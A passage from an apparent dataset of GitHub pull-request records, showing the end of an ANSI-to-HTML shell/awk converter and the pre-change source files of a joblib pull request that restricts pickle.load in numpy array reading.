e\ns#${p}\\([34]8;5;[0-9]\\{1,3\\}\\)m#${p}\u00ac\\1m#g;\n\n:c\ns#${p}\\([0-9]\\{1,\\}\\);\\([0-9;]\\{1,\\}\\)m#${p}\\1m${p}\\2m#g; t c   # split combined\ns#${p}0\\([0-7]\\)#${p}\\1#g                                 #strip leading 0\ns#${p}1m\\(\\(${p}[4579]m\\)*\\)#\\1${p}1m#g                   #bold last (with clr)\ns#${p}m#${p}0m#g                                          #add leading 0 to norm\n\n# undo any 256 color marking\ns#${p}\u00ac\\([34]8;5;[0-9]\\{1,3\\}\\)m#${p}\\1m#g;\n\n# map 16 color codes to color + bold\ns#${p}9\\([0-7]\\)m#${p}3\\1m${p}1m#g;\ns#${p}10\\([0-7]\\)m#${p}4\\1m${p}1m#g;\n\n# change 'reset' code to \\\"R\ns#${p}0m#\\\"R;#g\n\" |\n\n# Convert SGR sequences to HTML\nsed \"\n# common combinations to minimise html (optional)\n:f\ns#${p}3[0-7]m${p}3\\([0-7]\\)m#${p}3\\1m#g; t f\n:b\ns#${p}4[0-7]m${p}4\\([0-7]\\)m#${p}4\\1m#g; t b\ns#${p}3\\([0-7]\\)m${p}4\\([0-7]\\)m#<span class=\\\"f\\1 b\\2\\\">#g\ns#${p}4\\([0-7]\\)m${p}3\\([0-7]\\)m#<span class=\\\"f\\2 b\\1\\\">#g\n\ns#${p}1m#<span class=\\\"bold\\\">#g\ns#${p}4m#<span class=\\\"underline\\\">#g\ns#${p}5m#<span class=\\\"blink\\\">#g\ns#${p}7m#<span class=\\\"reverse\\\">#g\ns#${p}9m#<span class=\\\"line-through\\\">#g\ns#${p}3\\([0-9]\\)m#<span class=\\\"f\\1\\\">#g\ns#${p}4\\([0-9]\\)m#<span class=\\\"b\\1\\\">#g\n\ns#${p}38;5;\\([0-9]\\{1,3\\}\\)m#<span class=\\\"ef\\1\\\">#g\ns#${p}48;5;\\([0-9]\\{1,3\\}\\)m#<span class=\\\"eb\\1\\\">#g\n\ns#${p}[0-9;]*m##g # strip unhandled codes\n\" |\n\n# Convert alternative character set and handle cursor movement codes\n# Note we convert here, as if we do at start we have to worry about avoiding\n# conversion of SGR codes etc., whereas doing here we only have to\n# avoid conversions of stuff between &...; or <...>\n#\n# Note we could use sed to do this based around:\n#   sed 'y/abcdefghijklmnopqrstuvwxyz{}`~/\u2592\u2409\u240c\u240d\u240a\u00b0\u00b1\u2424\u240b\u2518\u2510\u250c\u2514\u253c\u23ba\u23bb\u2500\u23bc\u23bd\u251c\u2524\u2534\u252c\u2502\u2264\u2265\u03c0\u00a3\u25c6\u00b7/'\n# However that would be very awkward as we need to only conv some input.\n# The basic scheme that we do in the awk script below is:\n#  1. enable transliterate once \"T1; is seen\n#  2. disable once \"T0; is seen (may be on diff line)\n#  3. never transliterate between &; or <> chars\n#  4. track x,y movements and active display mode at each position\n#  5. buffer line/screen and dump when required\nsed \"\n# change 'smacs' and 'rmacs' to \\\"T1 and \\\"T0 to simplify matching.\ns#\\x1b(0#\\\"T1;#g;\ns#\\x0E#\\\"T1;#g;\n\ns#\\x1b(B#\\\"T0;#g\ns#\\x0F#\\\"T0;#g\n\" |\n(\ngawk '\nfunction dump_line(l,del,c,blanks,ret) {\n  for(c=1;c<maxX;c++) {\n    if ((c SUBSEP l) in attr || length(cur)) {\n      ret = ret blanks fixas(cur,attr[c,l])\n      if(del) delete attr[c,l]\n      blanks=\"\"\n    }\n    if ((c SUBSEP l) in dump) {\n      ret=ret blanks dump[c,l]\n      if(del) delete dump[c,l]\n      blanks=\"\"\n    } else blanks=blanks \" \"\n  }\n  if(length(cur)) ret=ret blanks\n  return ret\n}\n\nfunction dump_screen(l,ret) {\n  for(l=1;l<=maxY;l++)\n    ret=ret dump_line(l,0) \"\\n\"\n  return ret fixas(cur, \"\")\n}\n\nfunction atos(a,i,ret) {\n  for(i=1;i<=length(a);i++) if(i in a) ret=ret a[i]\n  return ret\n}\n\nfunction fixas(a,s,spc,i,attr,rm,ret) {\n  spc=length(a)\n  l=split(s,attr,\">\")\n  for(i=1;i<=spc;i++) {\n    rm=rm?rm:(a[i]!=attr[i]\">\")\n    if(rm) {\n      ret=ret \"</span>\"\n      delete a[i];\n    }\n  }\n  for(i=1;i<l;i++) {\n    attr[i]=attr[i]\">\"\n    if(a[i]!=attr[i]) {\n      a[i]=attr[i]\n      ret = ret attr[i]\n    }\n  }\n  return ret\n}\n\nfunction encode(string,start,end,i,ret,pos,sc,buf) {\n   if(!end) end=length(string);\n   if(!start) start=1;\n   state=3\n   for(i=1;i<=length(string);i++) {\n     c=substr(string,i,1)\n     if(state==2) {\n       sc=sc c\n       if(c==\";\") {\n          c=sc\n          state=last_mode\n       } else continue\n     } else {\n       if(c==\"\\r\") { x=1; continue }\n       if(c==\"<\") {\n         # Change attributes - store current active\n         # attributes in span array\n         split(substr(string,i),cord,\">\");\n         i+=length(cord[1])\n         span[++spc]=cord[1] \">\"\n         continue\n       }\n       else if(c==\"&\") {\n         # All goes to single position till we see a semicolon\n         sc=c\n         state=2\n         continue\n       }\n       else if(c==\"\\b\") {\n          # backspace move insertion point back 1\n          if(spc) attr[x,y]=atos(span)\n          x=x>1?x-1:1\n          continue\n       }\n       else if(c==\"\\\"\") {\n          split(substr(string,i+2),cord,\";\")\n          cc=substr(string,i+1,1);\n          if(cc==\"T\") {\n              # Transliterate on/off\n              if(cord[1]==1&&state==3) last_mode=state=4\n              if(cord[1]==0&&state==4) last_mode=state=3\n          }\n          else if(cc==\"C\") {\n              # Clear\n              if(cord[1]+0) {\n                # Screen - if Recording dump screen\n                if(dumpStatus==dsActive) ret=ret dump_screen()\n                dumpStatus=dsActive\n                delete dump\n                delete attr\n                x=y=1\n              } else {\n                # To end of line\n                for(pos=x;pos<maxX;pos++) {\n                  dump[pos,y]=\" \"\n                  if (!spc) delete attr[pos,y]\n                  else attr[pos,y]=atos(span)\n                }\n              }\n          }\n          else if(cc==\"J\") {\n              # Jump to x,y\n              i+=length(cord[2])+1\n              # If line is higher - dump previous screen\n              if(dumpStatus==dsActive&&cord[1]<y) {\n                ret=ret dump_screen();\n                dumpStatus=dsNew;\n              }\n              x=cord[2]\n              if(length(cord[1]) && y!=cord[1]){\n                y=cord[1]\n                if(y>maxY) maxY=y\n                # Change y - start recording\n                dumpStatus=dumpStatus?dumpStatus:dsReset\n              }\n          }\n          else if(cc==\"M\") {\n              # Move left/right on current line\n              x+=cord[1]\n          }\n          else if(cc==\"X\") {\n              # delete on right\n              for(pos=x;pos<=maxX;pos++) {\n                nx=pos+cord[1]\n                if(nx<maxX) {\n                  if((nx SUBSEP y) in attr) attr[pos,y] = attr[nx,y]\n                  else delete attr[pos,y]\n                  if((nx SUBSEP y) in dump) dump[pos,y] = dump[nx,y]\n                  else delete dump[pos,y]\n                } else if(spc) {\n                  attr[pos,y]=atos(span)\n                  dump[pos,y]=\" \"\n                }\n              }\n          }\n          else if(cc==\"R\") {\n              # Reset attributes\n              while(spc) delete span[spc--]\n          }\n          i+=length(cord[1])+2\n          continue\n       }\n       else if(state==4&&i>=start&&i<=end&&c in Trans) c=Trans[c]\n     }\n     if(dumpStatus==dsReset) {\n       delete dump\n       delete attr\n       ret=ret\"\\n\"\n       dumpStatus=dsActive\n     }\n     if(dumpStatus==dsNew) {\n       # After moving/clearing we are now ready to write\n       # somthing to the screen so start recording now\n       ret=ret\"\\n\"\n       dumpStatus=dsActive\n     }\n     if(dumpStatus==dsActive||dumpStatus==dsOff) {\n       dump[x,y] = c\n       if(!spc) delete attr[x,y]\n       else attr[x,y] = atos(span)\n       if(++x>maxX) maxX=x;\n     }\n    }\n    # End of line if dumping increment y and set x back to first col\n    x=1\n    if(!dumpStatus) return ret dump_line(y,1);\n    else if(++y>maxY) maxY=y;\n    return ret\n}\nBEGIN{\n  OFS=FS\n  # dump screen status\n  dsOff=0    # Not dumping screen contents just write output direct\n  dsNew=1    # Just after move/clear waiting for activity to start recording\n  dsReset=2  # Screen cleared build new empty buffer and record\n  dsActive=3 # Currently recording\n  F=\"abcdefghijklmnopqrstuvwxyz{}`~\"\n  T=\"\u2592\u2409\u240c\u240d\u240a\u00b0\u00b1\u2424\u240b\u2518\u2510\u250c\u2514\u253c\u23ba\u23bb\u2500\u23bc\u23bd\u251c\u2524\u2534\u252c\u2502\u2264\u2265\u03c0\u00a3\u25c6\u00b7\"\n  maxX=80\n  delete cur;\n  x=y=1\n  for(i=1;i<=length(F);i++)Trans[substr(F,i,1)]=substr(T,i,1);\n}\n\n{ $0=encode($0) }\n1\nEND {\n  if(dumpStatus) {\n    print dump_screen();\n  }\n}'\n)\n\n[ \"$body_only\" ] || printf '</pre>\n</body>\n</html>\\n'\n"}}
{"repo": "joblib/joblib", "pr_number": 1585, "title": "Do not allow pickle.load in read_array by default", "state": "closed", "merged_at": null, "additions": 51, "deletions": 23, "files_changed": ["examples/compressors_comparison.py", "joblib/numpy_pickle.py", "joblib/test/test_numpy_pickle.py"], "files_before": {"examples/compressors_comparison.py": "\"\"\"\n===============================\nImproving I/O using compressors\n===============================\n\nThis example compares the compressors available in Joblib. In the example,\nZlib, LZMA and LZ4 compression only are used but Joblib also supports BZ2 and\nGZip compression methods.\nFor each compared compression method, this example dumps and reloads a\ndataset fetched from an online machine-learning database. This gives 3\ninformation: the size on disk of the compressed data, the time spent to dump\nand the time spent to reload the data from disk.\n\"\"\"\n\nimport os\nimport os.path\nimport time\n\n###############################################################################\n# Get some data from real-world use cases\n# ---------------------------------------\n#\n# First fetch the benchmark dataset from an online machine-learning database\n# and load it in a pandas dataframe.\n\nimport pandas as pd\n\nurl = \"https://github.com/joblib/dataset/raw/main/kddcup.data.gz\"\nnames = (\"duration, protocol_type, service, flag, src_bytes, \"\n         \"dst_bytes, land, wrong_fragment, urgent, hot, \"\n         \"num_failed_logins, logged_in, num_compromised, \"\n         \"root_shell, su_attempted, num_root, \"\n         \"num_file_creations, \").split(', ')\n\ndata = pd.read_csv(url, names=names, nrows=1e6)\n\n###############################################################################\n# Dump and load the dataset without compression\n# ---------------------------------------------\n#\n# This gives reference values for later comparison.\n\nfrom joblib import dump, load\n\npickle_file = './pickle_data.joblib'\n\n###############################################################################\n# Start by measuring the time spent for dumping the raw data:\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f)\nraw_dump_duration = time.time() - start\nprint(\"Raw dump duration: %0.3fs\" % raw_dump_duration)\n\n###############################################################################\n# Then measure the size of the raw dumped data on disk:\nraw_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"Raw dump file size: %0.3fMB\" % raw_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the raw data:\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f)\nraw_load_duration = time.time() - start\nprint(\"Raw load duration: %0.3fs\" % raw_load_duration)\n\n###############################################################################\n# Dump and load the dataset using the Zlib compression method\n# -----------------------------------------------------------\n#\n# The compression level is using the default value, 3, which is, in general, a\n# good compromise between compression and speed.\n\n###############################################################################\n# Start by measuring the time spent for dumping of the zlib data:\n\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f, compress='zlib')\nzlib_dump_duration = time.time() - start\nprint(\"Zlib dump duration: %0.3fs\" % zlib_dump_duration)\n\n###############################################################################\n# Then measure the size of the zlib dump data on disk:\n\nzlib_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"Zlib file size: %0.3fMB\" % zlib_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the compressed dataset:\n\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f)\nzlib_load_duration = time.time() - start\nprint(\"Zlib load duration: %0.3fs\" % zlib_load_duration)\n\n###############################################################################\n# .. note:: The compression format is detected automatically by Joblib.\n#    The compression format is identified by the standard magic number present\n#    at the beginning of the file. Joblib uses this information to determine\n#    the compression method used.\n#    This is the case for all compression methods supported by Joblib.\n\n###############################################################################\n# Dump and load the dataset using the LZMA compression method\n# -----------------------------------------------------------\n#\n# LZMA compression method has a very good compression rate but at the cost\n# of being very slow.\n# In this example, a light compression level, e.g. 3, is used to speed up a\n# bit the dump/load cycle.\n\n###############################################################################\n# Start by measuring the time spent for dumping the lzma data:\n\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f, compress=('lzma', 3))\nlzma_dump_duration = time.time() - start\nprint(\"LZMA dump duration: %0.3fs\" % lzma_dump_duration)\n\n###############################################################################\n# Then measure the size of the lzma dump data on disk:\n\nlzma_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"LZMA file size: %0.3fMB\" % lzma_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the lzma data:\n\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f)\nlzma_load_duration = time.time() - start\nprint(\"LZMA load duration: %0.3fs\" % lzma_load_duration)\n\n###############################################################################\n# Dump and load the dataset using the LZ4 compression method\n# ----------------------------------------------------------\n#\n# LZ4 compression method is known to be one of the fastest available\n# compression method but with a compression rate a bit lower than Zlib. In\n# most of the cases, this method is a good choice.\n\n###############################################################################\n# .. note:: In order to use LZ4 compression with Joblib, the\n#    `lz4 <https://pypi.python.org/pypi/lz4>`_ package must be installed\n#    on the system.\n\n###############################################################################\n# Start by measuring the time spent for dumping the lz4 data:\n\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f, compress='lz4')\nlz4_dump_duration = time.time() - start\nprint(\"LZ4 dump duration: %0.3fs\" % lz4_dump_duration)\n\n###############################################################################\n# Then measure the size of the lz4 dump data on disk:\n\nlz4_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"LZ4 file size: %0.3fMB\" % lz4_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the lz4 data:\n\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f)\nlz4_load_duration = time.time() - start\nprint(\"LZ4 load duration: %0.3fs\" % lz4_load_duration)\n\n###############################################################################\n# Comparing the results\n# ---------------------\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nN = 4\nload_durations = (raw_load_duration, lz4_load_duration, zlib_load_duration,\n                  lzma_load_duration)\ndump_durations = (raw_dump_duration, lz4_dump_duration, zlib_dump_duration,\n                  lzma_dump_duration)\nfile_sizes = (raw_file_size, lz4_file_size, zlib_file_size, lzma_file_size)\nind = np.arange(N)\nwidth = 0.5\n\nplt.figure(1, figsize=(5, 4))\np1 = plt.bar(ind, dump_durations, width)\np2 = plt.bar(ind, load_durations, width, bottom=dump_durations)\nplt.ylabel('Time in seconds')\nplt.title('Dump and load durations')\nplt.xticks(ind, ('Raw', 'LZ4', 'Zlib', 'LZMA'))\nplt.yticks(np.arange(0, lzma_load_duration + lzma_dump_duration))\nplt.legend((p1[0], p2[0]), ('Dump duration', 'Load duration'))\n\n###############################################################################\n# Compared with other compressors, LZ4 is clearly the fastest, especially for\n# dumping compressed data on disk. In this particular case, it can even be\n# faster than the raw dump.\n# Also note that dump and load durations depend on the I/O speed of the\n# underlying storage: for example, with SSD hard drives the LZ4 compression\n# will be slightly slower than raw dump/load, whereas with spinning hard disk\n# drives (HDD) or remote storage (NFS), LZ4 is faster in general.\n#\n# LZMA and Zlib, even if always slower for dumping data, are quite fast when\n# re-loading compressed data from disk.\n\nplt.figure(2, figsize=(5, 4))\nplt.bar(ind, file_sizes, width, log=True)\nplt.ylabel('File size in MB')\nplt.xticks(ind, ('Raw', 'LZ4', 'Zlib', 'LZMA'))\n\n###############################################################################\n# Compressed data obviously takes a lot less space on disk than raw data. LZMA\n# is the best compression method in terms of compression rate. Zlib also has a\n# better compression rate than LZ4.\n\nplt.show()\n\n###############################################################################\n# Clear the pickle file\n# ---------------------\n\nimport os\nos.remove(pickle_file)\n", "joblib/numpy_pickle.py": "\"\"\"Utilities for fast persistence of big data, with optional compression.\"\"\"\n\n# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>\n# Copyright (c) 2009 Gael Varoquaux\n# License: BSD Style, 3 clauses.\n\nimport pickle\nimport os\nimport warnings\nimport io\nfrom pathlib import Path\n\nfrom .compressor import lz4, LZ4_NOT_INSTALLED_ERROR\nfrom .compressor import _COMPRESSORS, register_compressor, BinaryZlibFile\nfrom .compressor import (ZlibCompressorWrapper, GzipCompressorWrapper,\n                         BZ2CompressorWrapper, LZMACompressorWrapper,\n                         XZCompressorWrapper, LZ4CompressorWrapper)\nfrom .numpy_pickle_utils import Unpickler, Pickler\nfrom .numpy_pickle_utils import _read_fileobject, _write_fileobject\nfrom .numpy_pickle_utils import _read_bytes, BUFFER_SIZE\nfrom .numpy_pickle_utils import _ensure_native_byte_order\nfrom .numpy_pickle_compat import load_compatibility\nfrom .numpy_pickle_compat import NDArrayWrapper\n# For compatibility with old versions of joblib, we need ZNDArrayWrapper\n# to be visible in the current namespace.\n# Explicitly skipping next line from flake8 as it triggers an F401 warning\n# which we don't care.\nfrom .numpy_pickle_compat import ZNDArrayWrapper  # noqa\nfrom .backports import make_memmap\n\n# Register supported compressors\nregister_compressor('zlib', ZlibCompressorWrapper())\nregister_compressor('gzip', GzipCompressorWrapper())\nregister_compressor('bz2', BZ2CompressorWrapper())\nregister_compressor('lzma', LZMACompressorWrapper())\nregister_compressor('xz', XZCompressorWrapper())\nregister_compressor('lz4', LZ4CompressorWrapper())\n\n\n###############################################################################\n# Utility objects for persistence.\n\n# For convenience, 16 bytes are used to be sure to cover all the possible\n# dtypes' alignments. For reference, see:\n# https://numpy.org/devdocs/dev/alignment.html\nNUMPY_ARRAY_ALIGNMENT_BYTES = 16\n\n\nclass NumpyArrayWrapper(object):\n    \"\"\"An object to be persisted instead of numpy arrays.\n\n    This object is used to hack into the pickle machinery and read numpy\n    array data from our custom persistence format.\n    More precisely, this object is used for:\n    * carrying the information of the persisted array: subclass, shape, order,\n    dtype. Those ndarray metadata are used to correctly reconstruct the array\n    with low level numpy functions.\n    * determining if memmap is allowed on the array.\n    * reading the array bytes from a file.\n    * reading the array using memorymap from a file.\n    * writing the array bytes to a file.\n\n    Attributes\n    ----------\n    subclass: numpy.ndarray subclass\n        Determine the subclass of the wrapped array.\n    shape: numpy.ndarray shape\n        Determine the shape of the wrapped array.\n    order: {'C', 'F'}\n        Determine the order of wrapped array data. 'C' is for C order, 'F' is\n        for fortran order.\n    dtype: numpy.ndarray dtype\n        Determine the data type of the wrapped array.\n    allow_mmap: bool\n        Determine if memory mapping is allowed on the wrapped array.\n        Default: False.\n    \"\"\"\n\n    def __init__(self, subclass, shape, order, dtype, allow_mmap=False,\n                 numpy_array_alignment_bytes=NUMPY_ARRAY_ALIGNMENT_BYTES):\n        \"\"\"Constructor. Store the useful information for later.\"\"\"\n        self.subclass = subclass\n        self.shape = shape\n        self.order = order\n        self.dtype = dtype\n        self.allow_mmap = allow_mmap\n        # We make numpy_array_alignment_bytes an instance attribute to allow us\n        # to change our mind about the default alignment and still load the old\n        # pickles (with the previous alignment) correctly\n        self.numpy_array_alignment_bytes = numpy_array_alignment_bytes\n\n    def safe_get_numpy_array_alignment_bytes(self):\n        # NumpyArrayWrapper instances loaded from joblib <= 1.1 pickles don't\n        # have an numpy_array_alignment_bytes attribute\n        return getattr(self, 'numpy_array_alignment_bytes', None)\n\n    def write_array(self, array, pickler):\n        \"\"\"Write array bytes to pickler file handle.\n\n        This function is an adaptation of the numpy write_array function\n        available in version 1.10.1 in numpy/lib/format.py.\n        \"\"\"\n        # Set buffer size to 16 MiB to hide the Python loop overhead.\n        buffersize = max(16 * 1024 ** 2 // array.itemsize, 1)\n        if array.dtype.hasobject:\n            # We contain Python objects so we cannot write out the data\n            # directly. Instead, we will pickle it out with version 2 of the\n            # pickle protocol.\n            pickle.dump(array, pickler.file_handle, protocol=2)\n        else:\n            numpy_array_alignment_bytes = \\\n                self.safe_get_numpy_array_alignment_bytes()\n            if numpy_array_alignment_bytes is not None:\n                current_pos = pickler.file_handle.tell()\n                pos_after_padding_byte = current_pos + 1\n                padding_length = numpy_array_alignment_bytes - (\n                    pos_after_padding_byte % numpy_array_alignment_bytes)\n                # A single byte is written that contains the padding length in\n                # bytes\n                padding_length_byte = int.to_bytes(\n                    padding_length, length=1, byteorder='little')\n                pickler.file_handle.write(padding_length_byte)\n\n                if padding_length != 0:\n                    padding = b'\\xff' * padding_length\n                    pickler.file_handle.write(padding)\n\n            for chunk in pickler.np.nditer(array,\n                                           flags=['external_loop',\n                                                  'buffered',\n                                                  'zerosize_ok'],\n                                           buffersize=buffersize,\n                                           order=self.order):\n                pickler.file_handle.write(chunk.tobytes('C'))\n\n    def read_array(self, unpickler):\n        \"\"\"Read array from unpickler file handle.\n\n        This function is an adaptation of the numpy read_array function\n        available in version 1.10.1 in numpy/lib/format.py.\n        \"\"\"\n        if len(self.shape) == 0:\n            count = 1\n        else:\n            # joblib issue #859: we cast the elements of self.shape to int64 to\n            # prevent a potential overflow when computing their product.\n            shape_int64 = [unpickler.np.int64(x) for x in self.shape]\n            count = unpickler.np.multiply.reduce(shape_int64)\n        # Now read the actual data.\n        if self.dtype.hasobject:\n            # The array contained Python objects. We need to unpickle the data.\n            array = pickle.load(unpickler.file_handle)\n        else:\n            numpy_array_alignment_bytes = \\\n                self.safe_get_numpy_array_alignment_bytes()\n            if numpy_array_alignment_bytes is not None:\n                padding_byte = unpickler.file_handle.read(1)\n                padding_length = int.from_bytes(\n                    padding_byte, byteorder='little')\n                if padding_length != 0:\n                    unpickler.file_handle.read(padding_length)\n\n            # This is not a real file. We have to read it the\n            # memory-intensive way.\n            # crc32 module fails on reads greater than 2 ** 32 bytes,\n            # breaking large reads from gzip streams. Chunk reads to\n            # BUFFER_SIZE bytes to avoid issue and reduce memory overhead\n            # of the read. In non-chunked case count < max_read_count, so\n            # only one read is performed.\n            max_read_count = BUFFER_SIZE // min(BUFFER_SIZE,\n                                                self.dtype.itemsize)\n\n            array = unpickler.np.empty(count, dtype=self.dtype)\n            for i in range(0, count, max_read_count):\n                read_count = min(max_read_count, count - i)\n                read_size = int(read_count * self.dtype.itemsize)\n                data = _read_bytes(unpickler.file_handle,\n                                   read_size, \"array data\")\n                array[i:i + read_count] = \\\n                    unpickler.np.frombuffer(data, dtype=self.dtype,\n                                            count=read_count)\n                del data\n\n            if self.order == 'F':\n                array.shape = self.shape[::-1]\n                array = array.transpose()\n            else:\n                array.shape = self.shape\n\n        # Detect byte order mismatch and swap as needed.\n        return _ensure_native_byte_order(array)\n\n    def read_mmap(self, unpickler):\n        \"\"\"Read an array using numpy memmap.\"\"\"\n        current_pos = unpickler.file_handle.tell()\n        offset = current_pos\n        numpy_array_alignment_bytes = \\\n            self.safe_get_numpy_array_alignment_bytes()\n\n        if numpy_array_alignment_bytes is not None:\n            padding_byte = unpickler.file_handle.read(1)\n            padding_length = int.from_bytes(padding_byte, byteorder='little')\n            # + 1 is for the padding byte\n            offset += padding_length + 1\n\n        if unpickler.mmap_mode == 'w+':\n            unpickler.mmap_mode = 'r+'\n\n        marray = make_memmap(unpickler.filename,\n                             dtype=self.dtype,\n                             shape=self.shape,\n                             order=self.order,\n                             mode=unpickler.mmap_mode,\n                             offset=offset)\n        # update the offset so that it corresponds to the end of the read array\n        unpickler.file_handle.seek(offset + marray.nbytes)\n\n        if (numpy_array_alignment_bytes is None and\n                current_pos % NUMPY_ARRAY_ALIGNMENT_BYTES != 0):\n            message = (\n                f'The memmapped array {marray} loaded from the file '\n                f'{unpickler.file_handle.name} is not byte aligned. '\n                'This may cause segmentation faults if this memmapped array '\n                'is used in some libraries like BLAS or PyTorch. '\n                'To get rid of this warning, regenerate your pickle file '\n                'with joblib >= 1.2.0. '\n                'See https://github.com/joblib/joblib/issues/563 '\n                'for more details'\n            )\n            warnings.warn(message)\n\n        return _ensure_native_byte_order(marray)\n\n    def read(self, unpickler):\n        \"\"\"Read the array corresponding to this wrapper.\n\n        Use the unpickler to get all information to correctly read the array.\n\n        Parameters\n        ----------\n        unpickler: NumpyUnpickler\n\n        Returns\n        -------\n        array: numpy.ndarray\n\n        \"\"\"\n        # When requested, only use memmap mode if allowed.\n        if unpickler.mmap_mode is not None and self.allow_mmap:\n            array = self.read_mmap(unpickler)\n        else:\n            array = self.read_array(unpickler)\n\n        # Manage array subclass case\n        if (hasattr(array, '__array_prepare__') and\n            self.subclass not in (unpickler.np.ndarray,\n                                  unpickler.np.memmap)):\n            # We need to reconstruct another subclass\n            new_array = unpickler.np.core.multiarray._reconstruct(\n                self.subclass, (0,), 'b')\n            return new_array.__array_prepare__(array)\n        else:\n            return array\n\n###############################################################################\n# Pickler classes\n\n\nclass NumpyPickler(Pickler):\n    \"\"\"A pickler to persist big data efficiently.\n\n    The main features of this object are:\n    * persistence of numpy arrays in a single file.\n    * optional compression with a special care on avoiding memory copies.\n\n    Attributes\n    ----------\n    fp: file\n        File object handle used for serializing the input object.\n    protocol: int, optional\n        Pickle protocol used. Default is pickle.DEFAULT_PROTOCOL.\n    \"\"\"\n\n    dispatch = Pickler.dispatch.copy()\n\n    def __init__(self, fp, protocol=None):\n        self.file_handle = fp\n        self.buffered = isinstance(self.file_handle, BinaryZlibFile)\n\n        # By default we want a pickle protocol that only changes with\n        # the major python version and not the minor one\n        if protocol is None:\n            protocol = pickle.DEFAULT_PROTOCOL\n\n        Pickler.__init__(self, self.file_handle, protocol=protocol)\n        # delayed import of numpy, to avoid tight coupling\n        try:\n            import numpy as np\n        except ImportError:\n            np = None\n        self.np = np\n\n    def _create_array_wrapper(self, array):\n        \"\"\"Create and returns a numpy array wrapper from a numpy array.\"\"\"\n        order = 'F' if (array.flags.f_contiguous and\n                        not array.flags.c_contiguous) else 'C'\n        allow_mmap = not self.buffered and not array.dtype.hasobject\n\n        kwargs = {}\n        try:\n            self.file_handle.tell()\n        except io.UnsupportedOperation:\n            kwargs = {'numpy_array_alignment_bytes': None}\n\n        wrapper = NumpyArrayWrapper(type(array),\n                                    array.shape, order, array.dtype,\n                                    allow_mmap=allow_mmap,\n                                    **kwargs)\n\n        return wrapper\n\n    def save(self, obj):\n        \"\"\"Subclass the Pickler `save` method.\n\n        This is a total abuse of the Pickler class in order to use the numpy\n        persistence function `save` instead of the default pickle\n        implementation. The numpy array is replaced by a custom wrapper in the\n        pickle persistence stack and the serialized array is written right\n        after in the file. Warning: the file produced does not follow the\n        pickle format. As such it can not be read with `pickle.load`.\n        \"\"\"\n        if self.np is not None and type(obj) in (self.np.ndarray,\n                                                 self.np.matrix,\n                                                 self.np.memmap):\n            if type(obj) is self.np.memmap:\n                # Pickling doesn't work with memmapped arrays\n                obj = self.np.asanyarray(obj)\n\n            # The array wrapper is pickled instead of the real array.\n            wrapper = self._create_array_wrapper(obj)\n            Pickler.save(self, wrapper)\n\n            # A framer was introduced with pickle protocol 4 and we want to\n            # ensure the wrapper object is written before the numpy array\n            # buffer in the pickle file.\n            # See https://www.python.org/dev/peps/pep-3154/#framing to get\n            # more information on the framer behavior.\n            if self.proto >= 4:\n                self.framer.commit_frame(force=True)\n\n            # And then array bytes are written right after the wrapper.\n            wrapper.write_array(obj, self)\n            return\n\n        return Pickler.save(self, obj)\n\n\nclass NumpyUnpickler(Unpickler):\n    \"\"\"A subclass of the Unpickler to unpickle our numpy pickles.\n\n    Attributes\n    ----------\n    mmap_mode: str\n        The memorymap mode to use for reading numpy arrays.\n    file_handle: file_like\n        File object to unpickle from.\n    filename: str\n        Name of the file to unpickle from. It should correspond to file_handle.\n        This parameter is required when using mmap_mode.\n    np: module\n        Reference to numpy module if numpy is installed else None.\n\n    \"\"\"\n\n    dispatch = Unpickler.dispatch.copy()\n\n    def __init__(self, filename, file_handle, mmap_mode=None):\n        # The next line is for backward compatibility with pickle generated\n        # with joblib versions less than 0.10.\n        self._dirname = os.path.dirname(filename)\n\n        self.mmap_mode = mmap_mode\n        self.file_handle = file_handle\n        # filename is required for numpy mmap mode.\n        self.filename = filename\n        self.compat_mode = False\n        Unpickler.__init__(self, self.file_handle)\n        try:\n            import numpy as np\n        except ImportError:\n            np = None\n        self.np = np\n\n    def load_build(self):\n        \"\"\"Called to set the state of a newly created object.\n\n        We capture it to replace our place-holder objects, NDArrayWrapper or\n        NumpyArrayWrapper, by the array we are interested in. We\n        replace them directly in the stack of pickler.\n        NDArrayWrapper is used for backward compatibility with joblib <= 0.9.\n        \"\"\"\n        Unpickler.load_build(self)\n\n        # For backward compatibility, we support NDArrayWrapper objects.\n        if isinstance(self.stack[-1], (NDArrayWrapper, NumpyArrayWrapper)):\n            if self.np is None:\n                raise ImportError(\"Trying to unpickle an ndarray, \"\n                                  \"but numpy didn't import correctly\")\n            array_wrapper = self.stack.pop()\n            # If any NDArrayWrapper is found, we switch to compatibility mode,\n            # this will be used to raise a DeprecationWarning to the user at\n            # the end of the unpickling.\n            if isinstance(array_wrapper, NDArrayWrapper):\n                self.compat_mode = True\n            self.stack.append(array_wrapper.read(self))\n\n    # Be careful to register our new method.\n    dispatch[pickle.BUILD[0]] = load_build\n\n\n###############################################################################\n# Utility functions\n\ndef dump(value, filename, compress=0, protocol=None, cache_size=None):\n    \"\"\"Persist an arbitrary Python object into one file.\n\n    Read more in the :ref:`User Guide <persistence>`.\n\n    Parameters\n    ----------\n    value: any Python object\n        The object to store to disk.\n    filename: str, pathlib.Path, or file object.\n        The file object or path of the file in which it is to be stored.\n        The compression method corresponding to one of the supported filename\n        extensions ('.z', '.gz', '.bz2', '.xz' or '.lzma') will be used\n        automatically.\n    compress: int from 0 to 9 or bool or 2-tuple, optional\n        Optional compression level for the data. 0 or False is no compression.\n        Higher value means more compression, but also slower read and\n        write times. Using a value of 3 is often a good compromise.\n        See the notes for more details.\n        If compress is True, the compression level used is 3.\n        If compress is a 2-tuple, the first element must correspond to a string\n        between supported compressors (e.g 'zlib', 'gzip', 